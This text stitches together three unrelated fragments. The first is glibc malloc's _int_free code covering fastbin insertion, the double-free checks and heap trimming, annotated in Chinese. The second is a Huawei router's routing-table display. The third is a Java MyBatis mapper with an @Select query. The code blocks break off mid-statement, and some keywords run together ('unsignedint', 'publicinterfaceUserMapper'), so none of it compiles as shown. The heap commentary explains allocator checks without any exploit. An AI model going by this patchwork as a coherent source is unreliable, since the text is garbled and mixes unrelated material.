/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ mchunkptr old = *fb, old2;//old指向fastbin对应桶子的第一个堆块 unsignedint old_idx = ~0u; do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect(old == p, 0))//检查p是否已经被刚刚释放过一次 { errstr = "double free or corruption (fasttop)"; goto errout; } /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been deallocated. See use of OLD_IDX below for the actual check. */ if (have_lock && old != NULL) old_idx = fastbin_index(chunksize(old)); p->fd = old2 = old;//把p挂到fastbin上(头插法),fastbin[idx]->p->old->... } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) != old2);
/* Lightweight tests: check whether the block is already the top block. */ if (__glibc_unlikely(p == av->top))//p不能是topchunk { errstr = "double free or corruption (top)"; goto errout; } /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0)) {//如果下一个堆块溢出到topchunk内部了 errstr = "double free or corruption (out)"; goto errout; } /* Or whether the block is actually not marked used. */ if (__glibc_unlikely(!prev_inuse(nextchunk))) {//如果物理上的后块没有记录本块的释放状态 errstr = "double free or corruption (!prev)"; goto errout; }
/* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */
/* If freeing a large space, consolidate possibly-surrounding chunks. Then, if the total unused topmost memory exceeds trim threshold, ask malloc_trim to reduce top. Unless max_fast is 0, we don't know if there are fastbins bordering top, so we cannot tell for sure whether threshold has been reached unless fastbins are consolidated. But we don't want to consolidate on each free. As a compromise, consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD is reached. */
if ((unsignedlong)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {//如果size大于fastbin合并阈值65536 if (have_fastchunks(av)) malloc_consolidate(av);//清空fastbin,该合并合并,放到unsortedbin或者topchunk
if (av == &main_arena)//如果是主分配区 { #ifndef MORECORE_CANNOT_TRIM if ((unsignedlong)(chunksize(av->top)) >= (unsignedlong)(mp_.trim_threshold))//如果topchunk太大了就得修剪一下 systrim(mp_.top_pad, av); #endif } else//否则就是非主分配区的辅助堆 { /* Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. */ heap_info *heap = heap_for_ptr(top(av));
[Huawei]display ip routing-table Route Flags: R - relay, D - download to fib ------------------------------------------------------------------------------ Routing Tables: Public Destinations : 2 Routes : 2
Destination/Mask Proto Pre Cost Flags NextHop Interface
127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0
publicinterfaceUserMapper { // 使用注解之后,就不需要在UserMapper.xml中写<select>这种增删改查的标签了 @Select("SELECT * FROM user WHERE id= #{userID}") public User getUser(int userID);
